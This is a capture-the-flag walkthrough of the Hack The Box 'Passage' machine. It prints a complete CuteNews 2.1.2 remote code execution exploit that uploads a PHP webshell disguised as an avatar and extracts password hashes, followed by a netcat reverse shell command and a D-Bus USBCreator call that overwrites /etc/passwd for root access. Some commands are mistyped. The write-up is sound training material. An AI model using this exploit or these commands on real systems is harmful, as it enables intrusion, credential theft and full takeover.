Hack The Box – Passage Walkthrough
Introduction
This was an intermediate Linux machine that involved exploiting a remote code execution vulnerability in the CuteNews web application to gain initial access, exposed user password hashes to gain a user shell, and a vulnerability in the USBCreator D-Bus interface to escalate privileges to root.
Enumeration
The first thing to do is to run a TCP Nmap scan against the 1000 most common ports, and using the following flags:
- -sC to run default scripts
- -sV to enumerate applications versions
- -Pn to skip the host discovery phase, as some hosts will not respond to ping requests
Enumerating HTTP
When accessing the web server through a web browser, the following page is displayed:
When inspecting the source code, some of the hyperlinks displayed in the page mention CuteNews:
CuteNews is a FREE, powerful and easy-to-use news management system based on flat files. Navigating to /CuteNews, the version appears to be 2.1.2:
Using the SearchSploit tool to identify known vulnerabilities in this version of Cute News:
Version 2.1.2, which is the current one, seems to be affected by a remote code execution vulnerability.
Exploiting Remote Code Execution
The exploit itself is pretty simple, it self-registers onto the site, uploads a PHP file with the following contents as the profile:
<?php system($_REQUEST['cmd']) ?>
And then it simply calls the the file and adds the command as a “cmd” post parameter. This is possible because the web application does not properly check for the file types allowed when uploading a profile avatar.
The full prof of concept is available below:
print (banner)
print ("[->] Usage python3 expoit.py")
print ()
sess = requests.session()
payload = "GIF8;\n<?php system($_REQUEST['cmd']) ?>"
ip = input("Enter the URL> ")
def extract_credentials():
global sess, ip
url = f"{ip}/CuteNews/cdata/users/lines"
encoded_creds = sess.get(url).text
buff = io.StringIO(encoded_creds)
chash = buff.readlines()
if "Not Found" in encoded_creds:
print ("[-] No hashes were found skipping!!!")
return
else:
for line in chash:
if "<?php die('Direct call - access denied'); ?>" not in line:
credentials = b64decode(line)
try:
sha_hash = re.search('"pass";s:64:"(.*?)"', credentials.decode()).group(1)
print (sha_hash)
except:
pass
def register():
global sess, ip
userpass = "".join(random.SystemRandom().choice(string.ascii_letters + string.digits ) for _ in range(10))
postdata = {
"action" : "register",
"regusername" : userpass,
"regnickname" : userpass,
"regpassword" : userpass,
"confirm" : userpass,
"regemail" : f"{userpass}@hack.me"
}
register = sess.post(f"{ip}/CuteNews/index.php?register", data = postdata, allow_redirects = False)
if 302 == register.status_code:
print (f"[+] Registration successful with username: {userpass} and password: {userpass}")
else:
sys.exit()
def send_payload(payload):
global ip
token = sess.get(f"{ip}/CuteNews/index.php?mod=main&opt=personal").text
signature_key = re.search('signature_key" value="(.*?)"', token).group(1)
signature_dsi = re.search('signature_dsi" value="(.*?)"', token).group(1)
logged_user = re.search('disabled="disabled" value="(.*?)"', token).group(1)
print (f"signature_key: {signature_key}")
print (f"signature_dsi: {signature_dsi}")
print (f"logged in user: {logged_user}")
files = {
"mod" : (None, "main"),
"opt" : (None, "personal"),
"__signature_key" : (None, f"{signature_key}"),
"__signature_dsi" : (None, f"{signature_dsi}"),
"editpassword" : (None, ""),
"confirmpassword" : (None, ""),
"editnickname" : (None, logged_user),
"avatar_file" : (f"{logged_user}.php", payload),
"more[site]" : (None, ""),
"more[about]" : (None, "")
}
payload_send = sess.post(f"{ip}/CuteNews/index.php", files = files).text
print("============================\nDropping to a SHELL\n============================")
while True:
print ()
command = input("command > ")
postdata = {"cmd" : command}
output = sess.post(f"{ip}/CuteNews/uploads/avatar_{logged_user}_{logged_user}.php", data=postdata)
if 404 == output.status_code:
print ("sorry i can't find your webshell try running the exploit again")
sys.exit()
else:
output = re.sub("GIF8;", "", output.text)
print (output.strip())
if __name__ == "__main__":
print ("================================================================\nUsers SHA-256 HASHES TRY CRACKING THEM WITH HASHCAT OR JOHN\n================================================================")
extract_credentials()
print ("================================================================")
print()
print ("=============================\nRegistering a users\n=============================")
register()
print()
print("=======================================================\nSending Payload\n=======================================================")
send_payload(payload)
print ()
Mirroring the exploit using SearchSploit:
Running the exploit and providing the URL to the CuteNews vulnerable application:
The exploit worked although this isn’t providing a proper shell.
The next step is to set up a Netcat listener, which will catch the reverse shell when it is executed by the victim host, using the following flags:
- -l to listen for incoming connections
- -v for verbose output
- -n to skip the DNS lookup
- -p to specify the port to listen on
Using a Netcat reverse shell to get remote access to the target system:
nc -nv -e /bin/sh 1010.14.2 443
This has granted a reverse shell on the target machine as the www-data user..
Privilege Escalation
When listing common files and directories, it appears there are two other users on the machine, nadav and paul:
After a bit of research, it appears that the users.db.php file contains database credentials:
This file did not contain database credentials unfortunately, although there was a users folder, containing a bunch of base64-encoded data:
Even after decoding the information stored in the files, the contents were quite messy:
Through the following command, by adding new lines, removing all of the extra junk and removing all of the encoded data that did not contain passwords, the data can be cleaned up, leaving just the user hashes:
cat * | cut -d " " -f 1 | cut -d "<" -f 1 | base64 -d | tr ';' '\n' | grep 64: '"' -f 2
The hashes can then be cracked using the online CrackStation tool:
It was able to crack a few hashes, and after trying them for the users existing on the machine, one of the passwords worked for paul:
A SSH shell is present for the paul user, this will make things easier during enumeration:
Transferring the SSH key over to the Kali local machine:
Authenticating as Paul through SSH:
It appears the users on the box had shared SSH keys, meaning the same key can be used to login as badav:
When viewing the contents of the home folder for the nadav user, a .viminfo file stands out:
Apparently this file can store the Vim history, so it could contain information about files changed through it:
When inspecting the file, it appears that changes to /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf and /etc/dbus-1/system.d/com.ubuntu.USBCreator.conf were made through Vim:
Polkit is a component for controlling system-wide privileges in Unix-like operating systems. It provides an organized way for non-privileged processes to communicate with privileged ones. Polkit allows a level of control of centralized
system policy. its configuration file (localauthority.conf)was changed to allow users of the Sudo group to be admins in Polkit, and therefore manage certain services in the system.
It looks like the nadav user is part of the Sudo group:
The other file that was changed indicates that the USBCreator service’s permissions are being managed by Polkit:
Searching for a privilege escalation vector that can be exploited through this service:
Ubuntu desktop utilizes D-Bus as its inter-process communications (IPC) mediator. On Ubuntu, there are several message buses that run concurrently, although in this specific scenario involves the system bus as it will have information about root processes.
This service runs as root on behalf of unprivileged users, and since the navad user has control over it thanks to Polkit, this should allow execution of commands as root.
The article mentions this service is implemented in Python, and that the required privilege to interact with this method is com.ubuntu.usbcreator.image. Furthermore, the service contains a Python implementation of dd, which can be used to copy files between locations. The input to the method _builtin_dd is taken directly from user input and no path sanitation checks are performed on the source or target path, and no password prompts are being used – this allows a user to overwrite arbitrary files on the filesystem, as root, with no root password required.
More information about the exploit can be found here.
The following can therefore be done too achieve root-level privileges on the machine:
- Generating a new user hash
- Checking the format of /etc/passwd and copying it to /dev/shm
- Adding an extra line to it, in order to add a new root user to the system, using the hash generated above
- Executing the following command to replace the existing /etc/passwd file with the newly created one:
gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /etc/passwd /dev/shm/passwd true
The su command can then be used to switch to the newly created root user:
This exploit has now granted root permissions over the system
Conclusion
This was a really nice box, especially for the privilege escalation vector used, I definitely learned a lot from it, especially when it comes to Polkit and D-Bus in Linux, and how it can go very wrong when misconfigured.